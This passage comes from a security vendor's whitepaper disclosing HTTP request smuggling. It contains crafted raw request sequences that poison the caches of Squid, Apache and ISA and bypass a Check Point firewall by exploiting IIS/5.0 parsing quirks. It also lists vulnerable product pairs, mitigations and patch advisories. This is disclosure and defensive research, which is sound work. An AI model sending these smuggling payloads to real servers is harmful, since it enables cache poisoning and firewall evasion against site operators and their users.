Squid (we tested Squid 2.4stable7, 2.5stable4 and 2.5stable5 for NT) treats CRLF SP CRLF as a continuation. However, Squid also mandates that HTTP request headers contain the colon character (otherwise, the whole request is rejected). Therefore, the line immediately following

[8] HTTP/1.1 defines header line continuation in [4] section 2.2: "HTTP/1.1 header field values can be folded onto multiple lines if the continuation line begins with a space or horizontal tab."

[9] Although HTTP does not allow such headers, because a space character cannot be a part of a header name (token), see [4] section 4.2.

the CRLF SP CRLF (line 5 in the simple variant) must contain a colon. However, it turns out that IIS/5.0 scans for a colon after the CRLF SP CRLF, and if one is found "close enough," then IIS/5.0 determines that this line is a header line (i.e. IIS/5.0 will not terminate the header section in this case). So the trick is to pad the line with arbitrary data (6000 bytes), followed by a colon character. This will make Squid interpret it as a header line, while IIS/5.0 interprets it as a new request, rather than as a header line.

For example:

```
1  GET http://SITE/static_foobar.asp HTTP/1.0
2  Foo: bar
3  [SP]
4  GET /poison.html?AAAAA … [6000 times]… AAAA: HTTP/1.0
5  Connection: Keep-Alive
6
7  GET http://SITE/page_to_poison.html HTTP/1.0
8
```

Squid sends lines 1-6 as a single request to the web server (IIS). Note that line 4 is a valid header, according to Squid,[10] because it contains a colon character. IIS interprets the data as two requests – lines 1-3 are the first request, terminated by a CRLF SP CRLF sequence, which is not followed by a header line (as interpreted by IIS, that is, the few thousand bytes right after the CRLF SP CRLF do not contain the colon character). This request is serviced by IIS and the response is returned to Squid. Next, Squid sends lines 7-8, but IIS now serves back the response of lines 4-6. Therefore, Squid matches the content of /poison.html to the request URL of /page_to_poison.html.

There are some delicate points:

- The attack sequence must be preceded by a request to some arbitrary resource with Connection: Keep-Alive header. This header signals to IIS that the connection is persistent. It is ineffective to add this header to the first request (e.g., between lines 1 and 2), because Squid re-orders the HTTP headers and sends the Connection header among the last ones (i.e., after line 4). In such a case, IIS will see a first HTTP/1.0 request on a fresh TCP connection without a Connection: Keep-Alive header, and will assume that the connection is not persistent. This will disable the attack.
- There are some timing constraints involved. Squid should see the second IIS response only after sending what it interprets as the second request (lines 7-8). Therefore, this attack may need to be repeated several times until the events take place in the correct order and the poisoning succeeds.

6. **The IIS/5.0 premature termination of requests whose body length is > 48KB**
   As hinted in the name, IIS/5.0 behaves in a very non-standard way in some cases. Particularly, a request with a large (>48KB) body (e.g., a POST with a valid body and a Content-Length header indicating the length of this body) without Content-Type request header will be treated as a request whose body size is 48KB (49152). After 49152 bytes of the body, IIS/5.0 will terminate the request, and start parsing a new request. This makes it very easy to smuggle requests to IIS/5.0, because this behavior is non-standard and counter-RFC (and most likely, very little known).

[10] Although HTTP does not allow such headers, because a space character cannot be a part of a header name (token), see [4] section 4.2.

We managed to poison the cache of Squid (2.5stable5 for NT), Apache 2.0.45 and ISA/2000. We also managed to bypass the protection of FW-1.

Attack example (for web cache poisoning):

```
1     POST http://SITE/dynamic_foobar.asp HTTP/1.1
2     Host: SITE
3     Connection: keep-alive
4     Content-Length: 49181
5
6     AAAAA … AAAA[49150 times]
7     GET /poison.html HTTP/1.0
8
9     GET http://SITE/page_to_poison.html HTTP/1.1
10    Host: SITE
11
```

The cache server forwards lines 1- 8 to the web server. Note that the Content-Length (line 4) covers exactly the padding in line 6 (49150 bytes) plus CRLF at the end of line 6, plus lines 7 and 8 (each with a CRLF). IIS/5.0 reads lines 1-6 as a first request (terminating the body after 49152 bytes, which is exactly at the beginning of line 7) followed by a second request (lines 7-8). It sends a response to the first request to the cache server. The cache server now sends the second request (/page_to_poison.html), lines 9-11. IIS/5.0 processes the second response (lines 7-8) and sends back the content of /poison.html. The cache server receives the content of /poison.html in response to a request for /page_to_poison.html.

Example (bypassing FW-1, see also example #2)

```
1     POST /dynamic_page1.asp HTTP/1.1
2     Host: SITE
3     Connection: keep-alive
4     Content-Length: 49230
5
6     AAAAA … AAAA[49150 times]
7     POST /dynamic_page2.asp HTTP/1.0
8     Connection: Keep-Alive
9     Content-Length: 35
10
11    POST /dynamic_page3 HTTP/1.0
12    Bla: GET /malicious_url HTTP/1.0
13
14    GET /some_page HTTP/1.0
15
```

FW-1 forwards the first request (lines 1-10) to IIS/5.0. IIS/5.0 reads lines 1-6 as a first, complete request. It sends the response back to FW-1. It then reads lines 7-10 as a second, incomplete request (the body has not yet arrived).

FW-1 forwards the response from IIS to the attacker and sends lines 11-13 as a second request. Note that the offending data at line 12 is part of an HTTP request header (as parsed by FW-1), and thus does not trigger any detection/protection mechanism in FW-1.

IIS/5.0 receives line 11 and the first 5 bytes of line 12 as the body of the second request and responds to the second request. FW-1 receives this response and sends the third request, lines 14-15 to IIS/5.0. IIS/5.0 now sends the third response to the third request (lines 12-13), which in fact, are the results of the query to /malicious_url.

Conclusion: We have seen that there are many pairs (proxy/firewall servers and web servers) of vulnerable systems. Particularly, we demonstrated that the following pairs are vulnerable:

- PCCA
  - IIS/5.0
  - Tomcat 5.0.19 (probably with Tomcat 4.1.x as well)
- Squid 2.5stable4 (Unix) and Squid 2.5stable5 for NT
  - IIS/5.0
  - WebLogic 8.1 SP1
- Apache 2.0.45
  - IIS/5.0
  - IS/6.0
  - Apache 1.3.29
  - Apache 2.0.45
  - WebSphere 5.1 and 5.0
  - WebLogic 8.1 SP1
  - Oracle9iAS web server 9.0.2
  - SunONE web server 6.1 SP4
- ISA/2000
  - IIS/5.0
  - Tomcat 5.0.19
  - Tomcat 4.1.24
  - SunONE web server 6.1 SP4
- DeleGate 8.9.2
  - IIS/6.0
  - Tomcat 5.0.19
  - Tomcat 4.1.24
  - SunONE web server 6.1 SP4
- Oracle9iAS cache server 9.0.2
  - WebLogic 8.1 SP1
- SunONE proxy server 3.6 SP4
  - Tomcat 5.0.19
  - Tomcat 4.1.24
  - SunONE web server 6.1 SP4
- FW-1 Web Intelligence kernel 55W beta (the IIS 48K technique probably works with R55W)
  - IIS/5.0

This is a partial list – there are many pairs we did not test and there are likely many other web servers and cache servers we did not test for lack of hardware and software. Of course, there are probably many more similar techniques.

PROTECTING YOUR SITE AGAINST HRS

How can a site protect itself against HRS (assuming it hosts both the cache server and the W/S)?
Well, installing a web-application F/W can help, but as we have demonstrated for FW-1, some F/W's can be fooled (ask your Web Application Firewall vendor if their product is secure against this attack).

Another solution is to use web-servers that employ a stricter HTTP parsing procedure, such as Apache (we found an HRS variant for Apache only when it served as both the W/S and cache server). Of course, switching to a different server is usually out of the question.

Other impractical solutions are to allow only SSL communication (https instead of http), terminate the client session after each request, or turn all pages to non-cacheable (to avoid poisoning in the cache-W/S scenario).

Through diligent efforts by the various vendors and online communities responsible for the products mentioned above, we are able to include specific patch and configuration information for the following products.

SQUID

To our best knowledge, the issues raised have been addressed in Squid wherever possible, and the patches have begun to be distributed among the vendors shipping Squid products. See Squid's advisory "SQUID-2005:4" (http://www.squid-cache.org/Advisories/SQUID-2005_4.txt), as well as:

http://www.squid-cache.org/Versions/v2/2.5/bugs/#squid-2.5.STABLE7-header_parsing
http://www.squid-cache.org/Versions/v2/2.5/bugs/#squid-2.5.STABLE7-response_splitting
http://www.squid-cache.org/Versions/v2/2.5/bugs/#squid-2.5.STABLE8-relaxed_header_parser

The recommended Squid version incorporating all these changes is Squid-2.5.STABLE9.

It is also suggested for Squid to disable persistent connections:

```
client_persistent_connections off
server_persistent_connections off
```

Squid in its default setting is quite relaxed about these things, only rejecting known harmful characters and working around a lot of harmless ones. It can be tuned at runtime, however, via the relaxed_header_parser directive to turn off all workarounds, making the HTTP parser quite strict on both request and replies.

CHECK POINT FW-1

We understand that the issues described above are either fixed in R55W, or are fixed via a patch now available from Check Point.

FINAL NOTE REGARDING SOLUTIONS

The only complete solution for HRS would be available if all HTTP devices (cache servers, W/S's, F/W's, etc.) use exactly the same strict HTTP parsing process. Unfortunately, that's not likely to happen in the near future.

ABOUT WATCHFIRE

Watchfire provides software and services to manage online risk. More than 250 enterprise organizations and government agencies, including AXA Financial, SunTrust, Nationwide Building Society, Boots PLC, Veterans Affairs and Dell, rely on Watchfire to monitor, manage, improve and secure all aspects of the online business including security, privacy, quality, accessibility, corporate standards and regulatory compliance. Watchfire's alliance and technology partners include IBM Global Services, PricewaterhouseCoopers, TRUSTe, Microsoft, Interwoven, EMC Documentum and Mercury Interactive. Watchfire is headquartered in Waltham, MA. For more information, please visit www.watchfire.com.

REFERENCES

[1] A. Klein, "Divide and Conquer - HTTP Response Splitting, Web Cache Poisoning Attacks, and Related Topics." *Sanctum White Paper*, March 2004.
http://www.packetstormsecurity.org/papers/general/whitepaper_httpresponse.pdf

[2] 3APA3A, "Bypassing Content Filtering Whitepaper," February 2002 (original paper date. The paper was last revised August 2004).
http://www.security.nnov.ru/advisories/content.asp

[3] Rain Forest Puppy, "A look at whisker's anti-IDS tactics," December 1999.
http://www.ussrback.com/docs/papers/IDS/whiskerids.html

[4] J. Gettys, R. Fielding, J. Mogul, H. Frystyk, L. Masinter, P. Leach, and T. Berners-Lee, "Hypertext Transfer Protocol - HTTP/1.1." *RFC 2616*, June 1999.
http://www.w3.org/Protocols/rfc2616/rfc2616

[5] J. Grossman, "Cross Site Tracing (XST)." *WhiteHat Security White Paper*, January 2003.
http://www.cgisecurity.net/whitehat-mirror/WH-WhitePaper_XST_ebook.pdf

[6] P. Watkins, "Cross Site Request Forgeries (CSRF)," *BugTraq posting*, June 2001.
http://www.securityfocus.com/archive/1/191390

[7] "CERT Advisory CA-2000-02 Malicious HTML Tags Embedded in Client Web Requests." February 2000.
http://www.cert.org/advisories/CA-2000-02.html

[8] A. Klein, "Cross Site Scripting Explained." *Sanctum White Paper*, May 2002.
http://crypto.stanford.edu/cs155/CSS.pdf

